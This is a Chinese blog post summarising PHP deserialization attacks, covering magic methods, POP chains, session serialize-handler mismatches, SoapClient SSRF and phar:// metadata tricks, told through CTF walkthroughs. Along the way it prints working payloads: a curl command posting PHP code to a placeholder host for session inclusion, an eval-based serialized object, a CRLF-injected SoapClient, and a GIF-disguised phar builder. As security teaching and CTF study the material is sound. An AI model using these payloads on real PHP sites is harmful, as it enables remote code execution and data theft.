PHP反序列化总结

之前遇到过很多次php反序列化相关的内容,总结一下。

(反)序列化给我们传递对象提供了一种简单的方法。serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象,在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

常见的PHP魔术方法:

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发

1.PHP反序列化与POP链

1.1Autoloading与(反)序列化威胁

传统的PHP要求应用程序导入每个类中的所有类文件,这样就意味着每个PHP文件需要一列长长的include或require方法,而在当前主流的PHP框架中,都采用了Autoloading自动加载类来完成这样繁重的工作。
在完善简化了类之间调用的功能的同时,也为序列化漏洞造成了便捷。

1.2Composer与Autoloading

Composer是PHP用来管理依赖(dependency)关系的工具。你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件。
Composer默认是从Packagist来下载依赖库的。
所以我们挖掘漏洞的思路就可以从依赖库文件入手。
目前总结出来两种大的趋势,还有一种猜想:
1.从可能存在漏洞的依赖库文件入手
2.从应用的代码框架的逻辑上入手
3.从PHP语言本身漏洞入手

寻找依赖库漏洞的方法,可以说是简单粗暴:首先在依赖库中使用RIPS或grep全局搜索__wakeup()和__destruct(),寻找POP组件的最好方式,就是直接看composer.json文件,该文件中写明了应用需要使用的库。

从最流行的库开始,跟进每个类,查看是否存在我们可以利用的组件(可被漏洞利用的操作)手动验证,并构建POP链,利用易受攻击的方式部署应用程序和POP组件,通过自动加载类来生成poc及测试漏洞。

以下为一些存在可利用组件的依赖库:

任意写
monolog/monolog(<1.11.0)
guzzlehttp/guzzle
guzzle/guzzle
任意删除
swiftmailer/swiftmailer

a.PHP语言本身漏洞,比如当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。

b.__toString常常被漏洞挖掘者忽略。其实,当反序列化后的对象被输出在模板中的时候(转换成字符串的时候),就可以触发相应的漏洞,当然找漏洞的时候还是要沿着可控数据的处理流程来找

__toString触发条件:
echo ($obj) / print($obj) 打印时会触发
字符串连接时
格式化字符串时
与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
格式化SQL语句,绑定参数时
数组中有字符串时
<?php
class toString_demo
{
    private $test1 = 'test1';
    public function __construct($test)
    {
        $this->test1 = $test;
    }
    public function __destruct()
    {
        // TODO: Implement __destruct() method.
        print "__destruct:";
        print $this->test1;
        print "n";
    }
    public function __wakeup()
    {
        // TODO: Implement __wakeup() method.
        print "__wakeup:";
        $this->test1 = "wakeup";
        print $this->test1."n";
    }
    public function __toString()
    {
        // TODO: Implement __toString() method.
        print "__toString:";
        $this->test1 = "tosTRING";
        return $this->test1."n";
    }
}
$a = new toString_demo("demo");
$b = serialize($a);
$c = unserialize($b);
//print "n".$a."n";
//print $b."n";
print $c;

比如以上这段示例代码,将输出

__wakeup:wakeup
__toString:tosTRING
__destruct:tosTRING
__destruct:demo

调用两次__destruct的原因是要销毁两个对象,分别是$a和$c。

当反序列化后的最想在经过php字符串函数时,都会执行__toString方法,比如strlen(),addslashes(),class_exists()等,从这一点我们就可以看出,__toString所可能造成的安全隐患。

 1.3php_session序列化和反序列化相关知识

当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。

配置文件php.ini中含有这几个与session存储配置相关的配置项:

session.save_path=""   --设置session的存储路径,默认在/tmp
session.auto_start   --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   --定义用来序列化/反序列化的处理器名字。默认使用php
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式),比如files就是session默认以文件的方式进行存储

 以phpstudy为例,php.ini中配置如下:

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎'),比如:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容,例如session文件名称为:sess_1ja9n59ssk975tff3r0b2sojd5

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据。常见的比如存入session时用的处理器为php_serialize,反序列化时用的处理器是php。

 比如假设

$_SESSION['ryat'] = '|O:8:"stdClass":0:{}';

上面的 $_SESSION 数据,在存储时使用的序列化处理器为 php_serialize,存储的格式如下:

a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}

在读取数据时如果用的反序列化处理器不是 php_serialize,而是 php 的话,那么反序列化后的数据将会变成:

#!php
// var_dump($_SESSION);
array(1) {
  ["a:1:{s:4:"ryat";s:20:""]=>
  object(stdClass)#1 (0) {
  }
}

则反序列化后还原得到一个新的对象,通过注入 | 字符伪造了对象的序列化数据,前后处理不一直导致的锅。

当配置选项 session.auto_start=On,会自动注册 Session 会话,因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的,
因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话,然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,
这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题,因为 PHP 自动注册 Session 会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。
当配置选项 session.auto_start=Off,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题

例题解析:

1.xctf 2018 bestphp

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('open_basedir', '/var/www/html:/tmp');
    $file = 'function.php';
    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
    call_user_func($func,$_GET);
    include($file);
    session_start();
    $_SESSION['name'] = $_POST['name'];
    if($_SESSION['name']=='admin'){
        header('location:admin.php');
    }
?>

很明显第一处可以通过call_user_func进行变量覆盖,从而任意读文件,因为可以控制$_SESSION['name']参数,因此可以控制session的内容,如果我们知道session文件的位置,就可以通过include文件包含来进行getshell,那么session通常保存在:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID

/var/lib/php5/sess_PHPSESSID
/var/lib/php5/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

题目中的session是保存在/var/lib/下的,但是此时因为有open_basedir,因此此时不能够直接对其进行包含,但是因为有变量覆盖因此可以通过session_start(),改变save_path的方式让session存储路径在open_basedir允许的目录下,实际上就是通过操控$_SESSION变量让它保存我们的payload,然后存储到服务器的session文件中,然后通过包含此session文件,来达到包含payload的目的,比如可以构造payload为:

?function=session_start&save_path=/tmp
curl -v -X POST -d "name=<?=var_dump(scandir('./'));?>" http://vps_ip:port/?function=session_start&save_path=/tmp  读取目录下的文件
?function=extract&file=/tmp/sess_3b624no3ucdj27un5idq57jta0  包含session,显示目录下的文件,session文件名根据服务器回显设置的session id构造即可

 2.jarvisoj-web的一道SESSION反序列化

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

首先这道题能够进行查看phpinfo的信息,从里面我们能够发现

开启了session文件上传进度跟踪,并且给的这个index.php存在session_start()函数,因此我们可以给它post一个变量名为PHP_SESSION_UPLOAD_PROGRESS的变量,里面可以写上我们的payload,这样就可以把payload拼接到session中去,达到操控session的目的,接下来我们可以构造我们的payload,但是disable_function中禁用了很多函数,因此我们不能够直接执行想要的命令,要bypass(暂时不是重点),我们首先尝试下注入session能不能成功,构造exp如下:

<?php 
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
$a=new OowoO();
$a->mdzz="var_dump(scandir('./'));";
echo serialize($a);
    
//上传表单
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>

然后在burp添加上序列化的数据即可进行列目录,这里不要urlencode一次,服务器会不识别,它不会进行一次解码,我们现在看的当前路径没有flag,我们可以切换到网站根目录看看,通过phpinfo就能看到网站根路径,在Apache Environment一块中就可以看到服务器的相关环境变量的值,可以发现网站的根路径为:/opt/lampp/htdocs,那我们读一下该路径下的文件

 

 

 然后再网站根目录下就可以发现flag文件,那么此时就可以对其进行读取,使用file_get_contents即可,构造序列化数据

 

然后再访问index.php,F12就能看到flag。

3.PHP session反序列化+SOAP+SSRF漏洞综合利用

 题目:LCTF2018 babyphp's revenge

源码:

//index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name]; //get传送序列化数据要urlencode一下
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
//flag.php
session_start();
 echo 'only localhost can get flag!'; 
$flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1")
{ $_SESSION['flag'] = $flag; } 

从flag.php可以看出应该是需要本地访问flag.php,那么需要结合ssrf,首先简单介绍一下SoapClient

SOAP,简单对象访问协议是交换数据的一种协议规范,是一种轻量的、简单的、基于XML(标准通用标记语言下的一个子集)的协议。SOAP、WSDL(WebServicesDescriptionLanguage)、
UDDI(UniversalDescriptionDiscovery andIntegration)之一,soap用来描述传递信息的格式, WSDL 用来描述如何访问具体的接口, uddi用来管理,分发,查询webService 。
WebService是一种跨平台,跨语言的规范,用于不同平台,不同语言开发的应用之间的交互。比如在Windows Server服务器上有个C#.Net开发的应用A,在Linux上有个Java语言开发的应用B,
B应用要调用A应用,或者是互相调用。用于查看对方的业务数据。这个时候,如何解决呢?WebService就是出于以上类似需求而定义出来的规范:开发人员一般就是在具体平台开发webservice接口,
以及调用webservice接口。每种开发语言都有自己的webservice实现框架。而SOAP作为webService三要素SOAP 可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),
简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。

这道题主要思路还是控制session的解析引擎,可以借用由解析引擎的不同导致的session反序列化,构造soap类ssrf,获取flag,我们主要利用soapclient来模拟发送http请求,通过调用session_start(),传入php_seialize的session处理器,从而将$_SESSION['name']中包含的payload存储到服务器端的文件中,然后此时在服务端的session文件中已经存在了soap的对象,那么因为在高版本的soap在反序列化的时候修复了会发送网络请求的bug,所以需要调用__call方法,通过调用soap类中不存在的方法来触发soap对象发送http请求,所以在源码中第二次访问index.php时reset($_SESSION)将弹出$_SESSION数组的第一个元素,那么就是我们第一次传入的payload反序列化得到的对象,此时调用welcome_to_the_lctf2018这个方法,这里需要覆盖$b变量为call_user_func(),从而起到调用soap对象的不存在方法,达到反序列化进行SSRF的目的。

所以exp分两步:

第一步:

$_GET = array('f'=>'session_start','name'=>'|<serialize data>')
$_POST = array('serialize_handler'=>'php_serialize')
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
                               'user_agent' => "AAA:BBB\r\n" .
                                             "Cookie:PHPSESSID=dde63k4h9t7c9dfl79np27e912",  //这里利用crlf注入了Cookie,因为后面要用这个cookie去访问index.php拿flag
                               'uri' => "http://127.0.0.1/"));

$se = serialize($b); 
echo urlencode($se);

第二步:

$_GET = array('f'=>'extract');
$_POST = array('b'=>'call_user_func');
经过这一步,soap请求发了出去,也就我们构造soap序列化的时候注入的可控phpsessid相应的session里被加入了flag,于是带着这个phpsessid请求index.php,中间有一行代码var_dump($_SESSION);从而拿到flag

4.phar伪协议触发php反序列化

这里简单对phar文件格式进行一个介绍,题目解析见我以前做的swpuctf的一个phar反序列化分析,https://blog.zsxsoft.com/post/38 这篇文章发现并不局限于文件函数,这是一个所有的和IO有关的函数都有可能触发的问题,以下函数也可能发生此种问题

trick:如果phar://不能出现在头几个字符,可以在最前面加compress.bzip2:// or compress.zlib:// compress.zip or php://filter/resource=phar://

 

mysql或postgresql中与文件操作相关的sql语句执行时都可能导致phar反序列化,因为他们的实现中都调用了相同的wrapper(但需要配置相关选项),在上面zsx师傅的博客里都写得有,很详细的分析,膜

phar://协议

可以将多个文件归入一个本地文件夹,也可以包含一个文件

phar文件
PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。

要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off(文档中定义),phar文件有四部分构成:

1.a stub(phar 文件标识)

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2.a manifest describing the contents (攻击最核心的地方,存储序列化数据,也就是我们的恶意payload)

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

3.文件内容

被压缩文件的内容。

4、[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。对应函数Phar :: stopBuffering —停止缓冲对Phar存档的写入请求,并将更改保存到磁盘

放一张大佬的测试图:

 

demo exp:

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject(); //恶意的对象,也就是我们要反序列化的对象
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

具体题目分析见链接:

https://www.cnblogs.com/wfzWebSecuity/p/10159489.html

参考(侵删):

https://www.anquanke.com/post/id/86452

https://xz.aliyun.com/t/3174#toc-4

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=48210&highlight=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

https://www.anquanke.com/post/id/159206#h3-9

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=39169&highlight=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

https://www.jianshu.com/p/fba614737c3d

http://www.laruence.com/2011/10/10/2217.html

https://blog.spoock.com/2016/10/16/php-serialize-problem/

https://xz.aliyun.com/t/3341#toc-25

https://paper.seebug.org/680/#21-phar

https://www.anquanke.com/post/id/159206#h2-10

https://coomrade.github.io/2018/10/26/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%94%BB%E5%87%BB%E9%9D%A2%E6%8B%93%E5%B1%95%E6%8F%90%E9%AB%98%E7%AF%87/

posted @ 2019-07-10 18:11  tr1ple  阅读(14400)  评论(0编辑  收藏  举报